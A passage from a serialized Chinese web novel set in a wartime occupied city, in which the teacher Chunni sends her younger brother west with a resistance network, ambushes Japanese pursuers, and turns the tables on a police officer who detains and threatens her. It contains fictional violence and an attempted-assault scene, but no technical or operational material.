春妮道:“同事一场,我帮不了你旁的。收着吧,嫂子刚生了孩子,当是我给孩子的奶粉钱。” “我这有,校长刚发的——” “都这个时候了,你还跟我说这些客套话干什么?校长以为你要留下来当老师,给你的全是军票。这些军票,出了海城没人肯认。哪怕是在海城,也只能换些没人要的二手货,买粮食人都不认的票子,你拿着有什么用?” 话说到这一步,韩厂长不再推辞:“那当我是借你的。” 看他收了钱,春妮没跟他再争执这些话,问道:“那你有什么打算?” “你嫂子在南洋有个亲戚,前几天托人捎话,说可以到那边橡胶园给我找个活,我准备去碰碰运气。” 春妮皱眉:“南洋?保不保险?” “应该没问题,是你嫂子的亲娘舅。” “我不是问这个,我是说,南洋那边不知道安不安全。” “那边没有倭国人,怎么说也比我们这里安全吧。”韩厂长时常关注局势,也是看准了这一点,才愿意远渡重洋一搏。 “这可说不准。倭国人占着港城,说不定什么时候就挥师向南了。”春妮觉得,他这个决定还是太冒险了。 “那也没办法。我家里有两个孩子要养,你嫂子娘家的弟弟也失了业,要靠我们周济。我就是留在学校,也养不活两大家子人。不搏一搏怎么行?” 各家都有各家的无奈,春妮不好再说什么。 到了傍晚,春妮避着人给韩厂长家拎去两斤细面:“你回去跟嫂子说,要是家里有什么困难,只管来找我。能帮的,我一定帮。” 韩厂长将面小心掖进怀里,勾着腰步入了夜色中。 这是春妮最后一次看见他。 韩厂长走后两个月,倭国人攻占新加坡的消息传来。 又过七天,电台里播出了倭国人在南洋大屠杀的消息。 夏家的秘密电台被春妮收到空间之后一直没还给他们,后来风声过后,她有时候半夜也会拿出来,通过搜索秘密频道来获得外界的消息。 当晚,春妮呆坐在床头很久。 第二天一早,她去韩厂长家,给他的孩子带去了两罐奶粉。 这两罐奶粉还是在大战前,春妮在港城搜罗来准备倒卖用的。后来看情况不对,她收进空间以备不时之虚,过保质期都不知道有多久了,本也不好意思拿出来送人。 韩嫂子宝贝般地收起来:“不嫌弃,怎么能嫌弃?我本来奶水就不足,现在到处都买不到奶粉,我还没多谢你想着我们,哪里好意思嫌弃?” 她当即用温水给孩子冲了一杯浓浓的奶,问春妮:“怎么这会子过来了?是你韩哥 捎信回来了?” 韩嫂子是海城本地人,住的弄堂不方便收信,韩厂长便将收信地址还放在学校里,春妮给她带过两回信。 “就是给你们捎奶粉来的,嫂子不用忙,我还要去夏老师家。” “对了,夏老师孩子快也生了吧。你等等,我这里有些孩子小时候的衣服,你拿过去给她,看她要不要。那个奶粉……” “奶粉我这还有,你留着吧。” 到最后,春妮也没将昨晚的消息说出口。 夏风萍预产期快到,已经提前几天住进了医院。 春妮去时,小小的病房里塞满了热水瓶,毯子,衣服,还有书本,和一个铁皮锅子? “怎么带了这么多东西?你这是要搬家吗?”春妮越过一地的杂物, 夏风萍示意她噤声:“我也是跟你透个底,等生了孩子,我们不打算回家,直接从医院离开海城。” 春妮吃一惊:“怎么忽然要走?” “也不是忽然要走。”夏风萍抚着肚子,笑得有些无奈:“其实家辉出狱之后,我们就感觉到,家里附近一直有人在监视,放在房间里的东西也时不时挪位。再在这住下去,不知道哪一天又要出事,所以,我们必须得走。要不是我身子不方便,也不会耽误到这个时候。” “那你们打算去哪?” “看家辉的安排。”夏风萍平静道:“那些人绝对想不到,我会选在生孩子的时候离开海城。” 夏家的情况比韩家危险,春妮心中尽管不舍,却没打算劝她,只问道:“伯父伯母那边,你通知了没有?” “没有,我爸爸最近跟倭国人走得近。告诉了他们,不知道有什么变故。所以——”她从枕芯里抽出一封信:“托你件事,我走之后,你帮我把这封信寄到我家。” 夏先生送出去的金条有了用,最近接到几单来自倭国人的清洁用品大单,还托人弄到了一张行车车牌。 因为他这段时间时常跟那些东洋人混在一起,夏风萍看不惯,说过他好多回,父女两个大吵一架,又是好几个月互相不登门,连她住进医院,也没来看过她一回。 这是个不太愉快的话题,闺蜜两个小心避开,畅想一番孩子出生后的模样,夏风萍问她:“你呢?你有什么打算?” 春妮一时没听明白:“什么什么打算?” 夏风萍无奈地看着她:“你瞒着方校长,也瞒着我?我都知道了,那几个倭国人是不是找过你好几次,想让你把凉席的机器图纸卖给他们?” 春妮这回是真吃了一惊:“你怎么知道的?” 夏风萍冷哼一声:“你别管我怎么知道的。我不止知道那几个倭国人早几个月在打图纸的主意,还知道他们找人杀了你几回,只是没得逞。你打算就这么一天混一天的过下去?” 春妮没答话。 夏风萍说得不错,早在工厂没有关张之前,几个看中了工厂的倭国人不知从哪得到消息,知道春妮几乎经手过工厂所有机器的设计,派人找到她,想出高价让她画出图纸。 春妮一开始拒绝得很干脆,那些倭国人不死心,一边派人继续接触她,一边找了两个浪人,试图绑架她。 在她帮工人筹集遣散费的那一天,险些被他们得手。 工厂遣散之后,那些倭国人想办法将方校长特地拆卖的机器收集起来,组装得到了一个破竹机,倒是有段日子没再来烦春妮。 只是最近大约那机器有什么毛病,这几天,他们又找了过来,还让夏风萍得到了消息。 春妮的确正为这事烦恼,夏风萍的这个问题,她不知道怎么回答。 只听她道:“我有个想法,不如我跟家辉商量一下。这次你跟我们一起走,怎么样?” 第194章 194 考虑 春妮让夏风萍给了自己两天时间考虑。 可实际上, 春妮心里很清楚,她走不了,也不会走。 工厂租的仓库今年肯定无法再续租, 最近在折价清理库存, 那些库存都是前两个月关厂后没找到人接手的滞销品。现在的局势,想将它们卖出去换到最后一笔钱,更加不容易。而厂里的其他人,包括厂长都已经被遣散,老师们有自己的事要做,唯有春妮这个体育老师兼后勤主任时常有点空闲时间,帮忙处理这些东西。 韩厂长和夏风萍离开后, 学校的元老就只剩下了她,王老师和方校长三个人。王老师兼任教导主任, 其他人都是本本分分的教书匠,干不了春妮正在做的事。她若是再离开,不夸张地说,学校会瘫痪大半, 说不定两个月时间都支撑不了。 包括夏风萍自己,端看她随后仍然托春妮帮她给自己父亲带信来看, 恐怕对劝说她离开海城也没抱多大希望,只是跟她顺嘴提了这么一句。 但这番谈话在春妮心里还是落下了涟漪。 从医院离开后,春妮推着自行车, 没像以前一样,第一时间骑上去风风火火地赶往下一个地方办事。 这几天事不太多, 她决定利用这点碎片时间,好好想好接下来的日子该怎么过。 今年春妮跟夏生的生活即将迎来一个重大转变:他秋天满十二岁以后,就会升入国中成为一名正式的初中生。 江浦学校只是一所偏技工教学的职业教育学校, 在过去的六年时间里,它承担了小学基础教育的一部分工作,但最终这所学校只服务于那些接受完基础教育就要走向社会工作的一般家庭以及贫困学生。 夏生的成绩很好,春妮不想让他像学校的其他孩子那样,书没读两本就急着学手艺,人还没有操作台高,已经走上了社会工作养家。何况现在的世道,到处都是失业的成年人,他一个小孩,又能找到什么好工作?她更愿意让夏生读更多的书,受到更好的教育,她也有这个能力托起弟弟,让他站上更高的舞台。 这样的话,他再留在江浦学校上学就不合适了。 这一点,春妮也跟夏生早早沟通过,他虽然不舍得离开熟悉的环境,但表示了理解,并且积极地在为下半年海城中学的招生考试作准备。 今天夏风萍的话勾起了春妮的另一重隐忧。 倭国人贪得无厌,现在又有了军队和政府在后面撑腰,行事越发肆无忌惮。从他们的态度足以推定,就算这次的事件她完美解决,以后类似的麻烦也少不了。 之所以倭国人还愿意耐着性子跟春妮买图纸,无非还是在其他方面,他们更难打开局面。 一旦那些倭国人在她这里找不到突破点,他们很可能跟连德江一样,回头去找夏生的麻烦。 不,不是很可能,是一定会。 今年上半年,因为收购工厂的事情遭到校长阻拦,三月份的一天,校长的大女儿桂香姐出了菜市场,差点被一群行踪诡异的壮汉拖走。要不是那时同样有几个学生正好在粮店外排队买米,听见有人喊起来,帮忙拦住了那群壮汉,这会子桂香肯定已经出了事。 这事发生之后,巡捕房的几个倭国警察只是象征性地来事发地点转了一圈,就再没有了下文。校长去催问过几次案子的进展,除了被勒索几个大洋,并没有得到任何有用的进展。 以前巡捕房由洋巡捕和华国巡捕两方共管,倭国人接手后,全部换成了自己人,针对华国人的治安事件日渐难以侦破。大家只好无奈地习以为常。 好在那年出了连德江雇人夜闯学校杀人的事后,学校十分舍得在安保上面下重本,采用学生巡逻和聘用武装人员双管齐下的方法,安保一直做得不错。校长再不许几个孩子和师母单独出门,就连每天的生活必需品都会托学生和校工采买。包括他在内的方家人,除非遇到大事,否则不出校门,安全暂时无虞,但校长一家人也相当于半圈禁在了学校里。 现在,他们将主意打到春妮身上,两方相持,必有一方要见血,这事恐怕才能有个了结。 假如夏生只在学校附近活动,他的安全不用春妮操心。但海城中学在法租界,且不提供住宿,春生每天需要坐电车往返学校。海城中学原本是海城最好的初中,但在七年前的倭国轰炸中被炸毁半座校园,校舍至今未得到充裕的资金修复。年前因为海城中学校长不肯跟倭国人合作,他们在外租用的民房校舍被倭国巡捕房找茬,强制收回,很多学生只好又回到了被损毁的教室中学习。 不提夏生上下学路途的安全问题,残破的校园内,是海城中学几近于无的安保能力。春妮放他出门读书,真的不是羊入虎口? “唉,唉,撞到了!”骤然一声大喝,春妮的思绪被拉回来。 只见韩老头手提扫帚,飞步从春妮车前提出一个小孩,骂道:“小东西,看路都不知道,白长眼睛吃饭的?” 被骂的小孩脖子一缩,溜着墙根跑了,韩老头扭头问春妮:“小顾老师,你怎么也跟掉了魂似的,这么大个孩子窜出来,都没看到?” 自从工厂歇业,韩厂长离开学校,作为他同乡的韩老头认为印刷厂研制数年不出成果,自己是白占印刷厂的薪水,主动辞了这份工。却也不肯离开海城,将精力投放到校门口,竟真尽职尽责地为学校看起了门。只是整个人的精气神,跟刚来的时候完全不能比。 春妮的心事,说出来也是白惹老头跟着心烦。 那些倭国人前几天派几个地痞来找过事,还尾随吓唬过学生,不许他们上学,都被老师和学生们见招拆招地对付了回去。连着几天无事发生,老头好不容易松泛两天,没必要再让他卷进来。 春妮摇摇头,倒是想劝韩老头两句:“印刷厂的事,您打算不管了?” 韩老头叹气道:“我想管,也得做得出好东西来,是不是?” “怎么叫做不出好东西?你们上个月前不是还出了莫奈的《日出》积木?” 韩老头撇嘴:“没鼻子没眼睛,像打翻颜料桶似的随手抹出来的东西,那也叫好东西?” 彩色套印印刷卡在色块衔接的技术处理上,没有停止过研发,这些年只能说小有进步,始终没有大的突破。在林老师的建议下,他们玩具厂这些年出的积木一直采用印象派画家的名作作为蓝本,尽量降低印刷难度。 凉席生产挂靠在玩具厂下,没有另起炉灶。工厂两个月前,解散的也只是凉席部门,还保留了玩具厂的职能,也留了一少部分原先凉席部门的熟练工。因此《日出》被印刷厂印刷出来后,大伙拉足马力,立刻将成品制作出来,并投入了市场。 只是这个朝不保夕的年月,大伙都在为吃饱肚子发愁,又有几个人舍得花钱去买玩具?工厂先期制作出来的一千套新积木,全市百货商场铺货,卖了一个多月,也才卖出去不到一百套。 校长有心尽量保全所有人,但生意再这样惨淡下去,只怕学校剩下的两个厂也撑不了多久,要再次大规模裁员了。 这一点跟印刷厂的技术也有关,套印技术始终无法解决色块堆叠的生硬,做不出笔触衔接自然的彩印画。市场终究是掌握在有余钱的人手中,韩老头这样有些余钱的一家之主眼中,所谓的印象派就是西洋人随便泼了点颜料在画布上,糊弄人的东西,华国人看都看不懂,怎么会愿意花钱去买? 先前他们的《太阳》,也不过是占了个彩印积木的先手,又有了油画作噱头,大家一时新鲜,才推动了一拨销量的小高峰。 这样的好事,可一不可再。 连续几年印刷厂印不出老头心目中的彩画,这才令他心灰意冷,不愿意再留在厂里做那“吃白饭的人”。 没等春妮说话,校门口走出个人,她冲来人招招手:“季老师,过来说说话。” 季老师跟林老师一样,后来在印刷厂挂了个职,负责调制颜料。她性情开朗,跟谁都聊得来,是学校人缘最好的老师之一。 她快人快语,不等老韩分辩,噼呖啪啦砸了一堆话下来:“老韩,坚持了这么久,说不干就不干,岂不是前功尽弃?人家顾老师是负责给钱的,都没嫌弃你吃白饭,你自己东想西想的,心思也太多了点。照你说的话,你就是走,白拿了这么些年工钱,怎么也得研究出点真正的好东西才好说走的吧?” 她说得这么畅快,看来这话在她心里也憋了不少时间。 韩老头一时怔在了原地,神色似有触动。 两个女老师见好就收,不急着马上要答案,互相使个眼色,离开了校门口。 春妮冲她道谢,看见她手上的东西,顺口问道:“你手上拿的什么?” 季老师四下看了看,小声道:“还有什么?这一批的离城人员统计了出来,我正要报上去。” 春妮漫不经心听着,心中一动。 第195章 195 别扭 “季老师, 你跟我透个实底。你们联络站送了这么多学生出去,有没有出过事?”春妮盯着季老师手里的名册,神色认真。 季老师以为她关心学生的安全, 迟疑了一下, 还是说道:“我也不瞒你,意外肯定是有的。我仿佛听过一回,有一次我们一个学生走掉了队,领头人回去找他,恰好碰上倭国人的巡逻队,一整队的学生都被抓去蹲了监狱。” “后来呢?” “后来……我不负责送人,具体我也没深问过。怎么了?”季老师发现了春妮的不对。 春妮深吸一口气:“你说, 我让夏生去你们那边,怎么样?” 论理, 她把夏生交给夏风萍,在她的看护下,夏生过得不会差到哪去。但春妮跟朱先生合作过一回,对对方的能力很有些疑虑。对方这次又是秘密撤退, 他们这一走,也不知会去哪, 再做的营生还会不会有危险,自己跟夏生不知何时能再见。西边虽然也是秘密渠道,但学校时不时还会收到一些以前学生的消息, 两边通信没断过。她送过去的那些学生,也可以顺手关照一下夏生。 夏生去西边, 说不定会更好。 季老师瞪大眼睛:“你说真的?可是想好了?” 凭春妮跟这边的关系,她会做出这样的决定,季老师不意外, 但她弟弟,今年高小还没毕业吧?这么小的孩子,能跟着走那么远的地去大本营吗?她不确定地想。 春妮心有些乱:“我这不是正问你吗?你觉得怎样?” “不是……咱们这里不是挺好的吗?”季老师道:“你也知道,西去的路上有一定的危险性。我们挑人,一般挑的是年满十八岁以上的青年,最小的也不超过十五岁,这样万一有什么事也跑得动。夏生今年有十二了没有?” “过两个月就满。” “那不也是没满十二?这个年纪,好一点的工厂都不肯招进去。”季老师喋喋说了一堆,猛地醒过神来:“小顾,你是不是遇到什么事了?” 春妮踌躇着,将自己的顾虑透露了一部分给季老师。 这下季老师也被难住了:“你说的是个问题,这样的话,夏生留在这里的确更危险。这样吧,等我再去把你的情况往上反映,看上面怎么说。咱们什么交情,我不敢说一定万无一失,但绝对会把这个当头等大事,给你安排好。” 春妮心乱如麻,点了点头。 既然季老师把这事接了过去,没有意外,就定了一半。 晚上,暖黄的溶溶灯光下,是姐弟两个严肃的面孔。 “……事情就是这样,你趁这几天好好想想,自己更愿意去哪。”春妮无法抉择,干脆让夏生自己选。 “我哪也不想去。”夏生闷闷地说。 春妮心底暗暗叹气:就知道这小家伙要闹情绪。 没等她说话,小男孩忽然伸出手臂,圈住了姐姐的腰:“姐,我不想跟你分开,倭国人敢干坏事,我就敢跟他拼!我不怕他们!” 他拖着哭腔,让春妮心里也不是滋味。她知道,这时候她应该劝劝弟弟,可喉咙眼堵着,怎么都开不了口。 夏生不舍得离开她,她又何尝舍得跟夏生分开?即便有季老师的承诺,一路西行要穿越好多封锁线,这样危险,万一有个不慎,就是抱憾终身的事。 她沉默着,同样揽住了少年瘦弱的肩膀。有多少日子了,这还是夏生长大后头一回哭。 “听话,你听话啊。”她的嗓子也沙了:“姐不是舍不得让你去跟倭国人拼,你还这么小,这些事是咱们大人的,轮不着你。你呢,你的任务就是好好学习,好好长大,知道不?别叫姐为难。” “可你带着我来海城的那一年,不也才是今年我这么大?为什么你可以,我就不行?”夏生道。 春妮无法解释,只能沉默。她那个时候有外挂,夏生有什么?就算她有外挂,在这样的乱世,如果不是在家乡实在活不下去,她也不会孤注一掷,带着弟弟穿越战区到海城闯荡生活。就是这样,也经历了多少险难,才换来现在相对安稳的生活。 然而这样的安稳,也是摇摇欲坠,随时可以被人打灭。 “这些年来,你对我说的最多的,就是叫我听话,可我心里头,真想任性一次,叫你为难一次!”夏生赌气地说了一句,拧灭台灯,翻身躺下。 春妮在黑暗里坐了一会儿,知道他睡不着,自己也睡不着。在长达七年的时间里,夏生只有她一个亲人,却忽然被告知,他将与唯一的亲人分开,去到一个情况不明,前途未知的地方,即使是个大人也不一定接受得了,何况他一个小孩子? 她不太担心夏生闹太长时间别扭,这是她养的孩子,她了解他,他只是需要时间接受。 七天后,海城北郊的树林外。 夜里刚下过一场急雨,地上潮乎乎的,被来来往往的人踩成了烂泥。夏生背着行囊,在早上的这场大雨中跟姐姐分别,跟新同伴们汇合,头也不回地奔向了新的前程。 出乎意料,夏生也不愿意跟夏风萍一家人走,他说:“萍姐对我再好,我也是外人,人家一家人好好的,我插进去做什么……我就你一个姐姐,不能跟你在一起,我也不想跟别家人一起……我跟同学们都约好了,到了那,咱们还住在一起。都认识,都有照应,也不要你太操心……” “那边说是经常有战斗,要加入什么儿童团……” “咱们华夏这片地,哪边没有战争?姐,你给我的枪和弹药,我都收得好好的。半个月前打耙,我不还夺了第三名?别的好多同学,还没摸过枪,人家都不怕,我怕什么?你信我一回好不好?” 小小少年把自己安排得头头是道,终于当姐姐的再说不出话。 直到再也看不到远去的人影,春妮抹抹眼角,快步走出了树林。 她没有太多伤感的时间,夏生走后,偌大的海城她就真的只剩下自己一个人了。 走出树林前,春妮抬腕看了看表,现在五点刚过三分钟,天色已经大白。 盛夏清晨的海城郊外是很安静的,树林中偶有几声蝉鸣,也在春妮远去的脚步声中被越甩越远。因此,蝉鸣之外的某些东西,固然细微,也仍然敏锐地撞进了春妮的耳朵里。 转出山间小径,春妮陡然加快脚步。 身后“咯嚓咯嚓”连声轻响,是落叶被踩断的声音。这些人骤然被打乱节奏,到底露出了行迹。 此时连片的稻田已经被收割完毕,稻田旁边,是数垛农人垒起来的稻草堆。 春妮扑到其中一座草垛后边,露出一双眼睛。片刻之后,果真见三四个戴着草帽的青壮男子从树林中跟了出来。见到空无一人,那几人先是一愣,领头人作出一个手势,几人东张西望,悄声散开,作出寻找的动作。 她往后退去,这座草垛因为农人取用,中间被掏出个大洞。春妮这一退,正好退到洞中,正好够她抓取几把稻草掩住洞口。 那几人茫然地转了几个圈,视线数次在稻草垛上停留,有个人还抽出刀来将草垛捅了好几下,差点将她捅了个对穿。春妮的枪都握到了手上,但死死忍住了。 从那几人走路的姿势,春妮已经看出来,这几人中有两人是倭国人。现在海城内外,倭国人是一等一的精贵人,她在这里杀了人一时痛快,但这附近都是村落,有倭国人死在这里,再找不到凶手,必然会给村民招来大祸。 可惜前些日子她到处疯狂囤货,空间里被塞得指插不进,否则拿它运运尸体毁尸灭迹,也不用这么为难。 春妮心中杀机起起落落,只能眼巴巴看着这几个人找不到她,最后远离她的视线,又回到树林中夏生离开的方向。 她没有追上去,这几人从什么时候开始跟着她,她心里有数。中间他们跟丢过她两回,她在这两次的时间差里,已经把夏生安全送到了地方。 之所以放任他们跟到这里,自然是因为—— 春妮拍掉身上的稻草渣,招呼住过路的一辆牛车,高声问:“叔,去城里多少钱?” “铜角子两毛,不要纸钱。” “这么贵,便宜点。” “姑娘,现在去城里,咱们可担着命哩,那些小鬼子动不动砍人,两毛钱一点都不贵。” “行啦,走吧。”春妮跳上牛车。 树林那头,几个人狂奔下来,只看见车夫甩了个鞭花,牛车迈开步子动了起来。 春妮不说话,车夫也不是多话的人。对身后紧跟着的几人,两人也没多说什么,只是一个劲抽着牛车,催牛快走。 那几个人追着追着,以为牛车上的两个人是怕了他们,索性不再隐藏,嘴里叫骂着,越追越快。可也奇怪,明明那牛车先开始跑得不快,他们几个也不是孬手,一辆牛车而已,追着追着,却总也追不上。 两方人马,一边追一边跑,到了一处芦苇荡。 这时,车夫“吁”地一声,牛车停了下来。青牛拱起的脊背起伏得剧烈,看来是累得跑不动了。 对方为首的那个人追得脸红脖子粗,到了这里,也不装了,哈哈大笑冲身边挥挥手:“给我抓!” 话音未落,“啪啪啪”几声枪响,那几人笑声都没收,就倒下了。 春妮跳下车,对牛车拱拱手:“孟叔,多谢您了。” 孟叔手指顶开破草帽,一张黝黑的脸笑得憨厚:“跟我客气啥。你去年给咱弄来这么些药材,救活了游击队多少人。你遇到麻烦,能想到我,我高兴还来不及,不谢啊。” 说话间,芦苇荡里又出来几个人,他们麻利地检查完尸首,将人身上绑了石头,拖进渔船里划到河中心丢了下去。 孟叔让牛吃了会儿草,同春妮道别:“我赶着还牛车出荡子打渔,不多说了啊。” 渔船几蒿杆撑到对面,很快来人中只剩下一个人——常文远。 两人这些年合作过很多次,运东西运人都有,所幸所有任务都顺顺当当地完成了,算起来两人还是第一回合作杀人。因为春妮手中的西药所剩不多,正好他也回来,便将手里孟叔那条线又交给了他。 这回她联络孟叔,就是通过的他。 他其实不太同意春妮这样解决问题,认为后患太多。但春妮也有自己的理由,这些倭国人就像苍蝇一样将她牢牢围住,她想做点什么都有人盯着束手束脚。她认为,与其憋憋屈屈地被他们困住,还不如她先用这几个人试试对面的态度。 他叮嘱道:“这些人不见了,你这几天注意些,那些倭国人肯定会再来找你麻烦。” 第196章 196 误会 在芦苇荡干完那一票, 春妮听从常文远的话,先老实回到学校窝了几天。 这期间,她如常上课下课, 没课的时候满海城跑着收集物资, 再照常出个城,偶尔去常文远开的饭馆吃个饭,跟以前一样有条有理不忙乱。 说到常文远的饭馆,春妮满以为以食物的定价,餐馆开不到三个月就会关门,还曾劝过他,让他早点想辙改行。谁知三个月过去, 饭馆不仅没倒闭,反而越开越好。每天旧客去新客来, 没有一天空过桌子。 春妮曾好奇过他的客源,常文远告诉她,他目前的客人中,以附近省份的青帮弟子为多。倭国人全面掀起战争之后, 青帮大部分人都直接或间接地投到了倭国人麾下效力。卫胜临死后,加上帮主远避到港城, 对帮派掌控力大不如前,青帮内部很快分裂, 这个战争之初出人出钱宣传抗倭, 协助各方抗倭人员刺探情报,暗杀亲倭分子的第一大帮派已经跟以前不是一个组织了。 倭国人对剩下的人又拉又打, 花销出不少银元,到底将这个以漕运起家,盘踞在城市中二百多年的□□ 巨掣掌握在了手里。 领头羊青帮帮众倒戈之后, 海城其他帮派更加无力抗争,也纷纷望风而降,至此,海城大半的□□终于落进了倭国人掌控中。 抗倭环境前所未有的恶劣,最近常文远接到的要求也是让他暂停一切活动,等待通知。 他反对春妮搞事,正是担心她在这个特殊时期过于高调,会惹来麻烦。春妮跟他的分岐在于,她认为浑水更好摸鱼。 这世上从来不乏见风使舵,更不乏迎风而上的人。城里物价每天一个高度,钱越发不值钱,也使这些新贵们一个比一个浮燥,手里有一点钱就忙不迭花出去,生怕慢一步就吃了亏。倭国人出高价招揽这些人,他们往往钱在兜里没揣热乎,就送给了赌场和高档饭馆等销金窟。 这就导致海城两种怪象同时出现,一面是路上每天海量增加的流浪汉,路上每天都有人因饥饿倒毙,另一面则是洋酒洋烟被炒出天价,一瓶大洋马拍卖价喊到两万块银元,买的人仍是趋之若鹜,仿佛两万块买酒钱真成了粪土。而这些头两天还坐在拍卖行里争酒的体面人,说不定第二天就变成了露宿街头的乞丐,或是苏河里的无名浮尸。 死尸的腐臭味噩梦般盘旋在这座纸醉金迷的城市中,除了命运,谁也不知道噩运下一刻会降临在哪一个人身上。 春妮这样规律的作息果然成功将对方迷惑住了一段日子。 那些倭国人或许也不敢想,春妮胆子会那么大,一出手就把他们派出来的人连窝端了。因此,在刚开始的那几天,他们先是派人四处找了一阵子,没人敢贸贸然到学校来找她麻烦。 她这些年在海城闯下的名头,只要了解她的人,多少都听过一些。倭国人贪归贪,还有点脑子,不敢对她像对夏家父母那样的有钱人一样当成钱袋子,招之即来,肆意取用。 当时为了给学校筹措资金,春妮和韩厂长想尽办法抬高竹席的身价,一根竹子随意加工一下就是翻百倍的获利,到现在全成了催命的刀。掌握了这间工厂,就是掌握了另类的财富密码,换谁不眼红?难怪倭国人就算对她有点顾忌,也还要想方设法从她碗里捞肉吃。 卖麻将凉席那会儿没坚持韬光养晦,看得不太长远,他们的确有些失策,现在后悔也晚了。 春妮的那丝后悔之情只是一闪而过,毕竟那时候租界环境相对平稳,想赚钱也只有那两三年的时间,不趁机多赚点,学校能不能撑到现在都还两说。一个早死,一个晚死,左右都是死路一条,只能说,两害相权取一轻。 这个年代,除了抗倭要坚持到底,做其他的事,都只能走一步看一步。想得多了,人就怯了。 春妮平平安安地过了五天。 第六天上午,巡捕房来了人。 “你们谁是顾春妮?”为首的巡捕操着一口生硬的华语。 春妮认识他,这个人姓村上,长得牛高马大的一脸恶相,跟普通倭国人不太像。他以前在新闸路北边的倭国人聚居区当巡长,他到吉拉太太家催过两回杂税。每回去,吉拉太太家要另外拿一板面包和大洋孝敬他们,顺便占占金小姐便宜,他刚调到现在的这个辖区没有两个月。 他们以前被圈在本国人聚居区没法逞威风,每回到新闸路,跟饿了几天的豺狗似的,眼睛冒绿光。 春妮排开方校长:“是我。” 村上斜着眼睛打量她两下,歪着嘴一挥手:“带走。” 方校长忙拦在春妮前面:“长官,您把话先说清楚。我们顾老师做什么了,您要把人带走?” “顾小姐心里清楚她做了什么事,我说的是吗?顾小姐。” 春妮作茫然状:“长官,您可别乱说话。这些日子,我可一直待在学校,哪也没去。我能做什么事惊动您老人家?” 村上哼声笑道: “顾小姐装傻也没用,跟我们到巡捕房走一趟吧。” 众目睽睽之下,他到底不敢对这个大名鼎鼎的刺头过于嚣张。 春妮回身看了眼方校长,这个可怜的老好人跟她共事多年,不知为她白担了多少次心。 “校长,你好好看着学校,我不会有事的。” 方校长顾不得村上还在旁边,拉住她急声道:“什么不会有事?现在的巡捕房可不是以前那样还讲点道理,那里面全都是地痞汉奸。你个小姑娘家进去了,就是羊入虎口,知不知道?”又转身向村上赔笑道:“长官,我们顾老师一向遵纪守法,您看这里面——” “让开!”村上嫌方校长啰里啰嗦地没个完,一掌把他推个趔趄,巡捕们扯住春妮的手拷起来,推推搡搡将她押进了边三轮。 这期间,春妮一副任人鱼肉的模样,除了用手臂隔开一个巡捕的咸猪手,并没有做更多余的动作。 几个在商团中跟春妮走得很近的学生们已经赶了过来,有人手摸到了腰间,不等他们动作,却被春妮用目光制止了。 犹豫之间,车子开始启动,很快钻出大门,拐出了狭长的巷子。 春妮看得出来,对她的柔顺沉默,村上有些亢奋。车子还没开多远,他跟驾驶三轮的另一个巡捕便迫不及待地用倭国话大笑交谈,两人目光放肆地在她身上扫来扫去。 春妮只作不知他们在说的话,垂下头微微冷笑。 下车之后,几个倭国巡捕迫不及待地推她进审讯室,直到将她双手反铐进钉在墙上的镣铐,几个人又是一阵得意的大笑。 直到这时,村上的目光终于不再收敛。他松了松领子,解下皮带扣,缓慢地将它从腰间抽出来。 对这件事,他早就轻车熟路,他很享受这些。每当他做到这一步时,总喜欢去看对方的神色。他深知,女人们那惊恐害怕的眼神让他格外兴奋,然而今天—— “村上先生,你还没说,我犯了什么事,需要面对这样的场面。” 春妮冷静的像一块冰,浇得他火热的心头一个激灵。 “都这个时候了,你还在问,你犯了什么事。”他的下属仰头大笑:“不如把我们伺候好了,我们再告诉你,怎么样?” “哦?”春妮唇角往上提了提。 看见她那个表情,村上不知怎地,仿佛颈间的汗毛都竖了起来,往后退了一步。 而他的下属得意非凡,边脱衣服边向春妮走过去。 随后,村上只听“噼啪”两声,两指粗的铁链崩直,就像一条无足轻重的黑线,断了。 墙上灰土簌簌地往下掉,村上的眼睛瞪脱了眶。 镣铐带着风声,在半空中旋出一个凌厉的圈,精准地套住了下属的脖子。 “救,救——”下属徒劳地伸出手臂,很快翻起了白眼。 春妮毫不在意地拉动铁链,将他扯过来挡在自己身前,转身看向村上。只是这一个简单的动作,这人已经开始口吐白沫。 这么多年了,无论对自己的这身怪力,还是空间,她一直隐藏得极好,以至于这些倭国人这样大意,屋子里只留两个人,就敢对她起那样的心思。 “顾春妮,你敢杀巡捕?”村上后知后觉,掏出手枪指向她。 春妮笑了,就像她身处之地不是在巡捕房审讯室这样阴森的地方一般:“村上先生,我要是真想杀巡捕,路上有很多机会,不用到这里来。” “那,那你——”村上 咽了咽口水。 “你还没告诉我,是谁想对付我。” “……是池田。池田说你杀了他的人。”春妮的示弱令村上直到这个时候才想起来,之前这个表现温顺的女孩子,还是一个杀人嫌犯。 “他为什么这么说?村上先生,别紧张,这是你的地盘。” “那你先放了我同事。” “好吧。”昏迷的人体被毫不在意地踢到一边。 春妮语气可怜:“您看,我真的很配合您。像我这样的人,怎么可能会是杀人凶手,这里面一定有误会,您说是吗?” “这……是不是误会,需要调查了再说。”对方手无寸铁,终于令村上找回了一点信心。 “您说得对,那请您一定好好调查。对了,村上先生,您的家是在川陕北路春园弄吧?” “你怎么知——你什么意思?!” “随便问问嘛,看不出来,村上先生长得很凶恶,却对父母很孝顺,事业稍有起色,就把他们从国内接了过来。对了,您还有个七岁的小弟弟,是在街口北田先生办的小学读书吗?” “你……你想干什么?!”村上跳了起来。 现在,春妮即使牵动一下嘴角,也让他心惊肉跳。 “坐下,村上先生,您先坐下。您这么紧张,弄得我也很紧张。你知道的,我们平民小百姓,见到大人物很容易紧张。而一紧张呢,人就很容易做错事,您说对不对?” “对,对……我是问你,为什么要调查我的家人?” 审讯室里,猎人和猎物不知不觉调了个个儿。 春妮歪坐在椅子上,只当脑门上的枪不存在。他们不够了解她,她在倭国人聚居区附近住了这么些年,对这些人,包括这些人的家人都很熟悉。 她在告诉村上,真逼急了她,她什么事都干得出来。 汽车厂改做兵工厂,化工厂改做炸|药,机械厂改造飞机……大肆抢掠沦陷区百姓的资源财产和工作机会。倭国人全民参与到这场战争中,即使没上战场,也没有一个无辜的人。 村上知道,她是说真的。 这些倭国人在城里张狂久了,以为人人都怕他们,什么人都能让他们为所欲为。人的确是该怕禽兽,可禽兽也有弱点,再张狂的禽兽,只要捏住他们的脖子—— 春妮克制住心中的杀欲,笑着对村上道:“还请您转告一下池田先生,我们之间肯定有误会。我衷心地期待跟他见面聊一聊,希望我们能尽快解除这个误会。” 第197章 197 轻蔑 直到从巡捕房里被放出来, 那位倭国人口中牛气哄哄的池田先生也没能见到春妮。 他怕了,他不敢来。 意料之中。春妮在心里轻蔑地笑了。 如果想要春妮工厂的,是黑龙会里的大人物, 她可能会像常文远建议的那样, 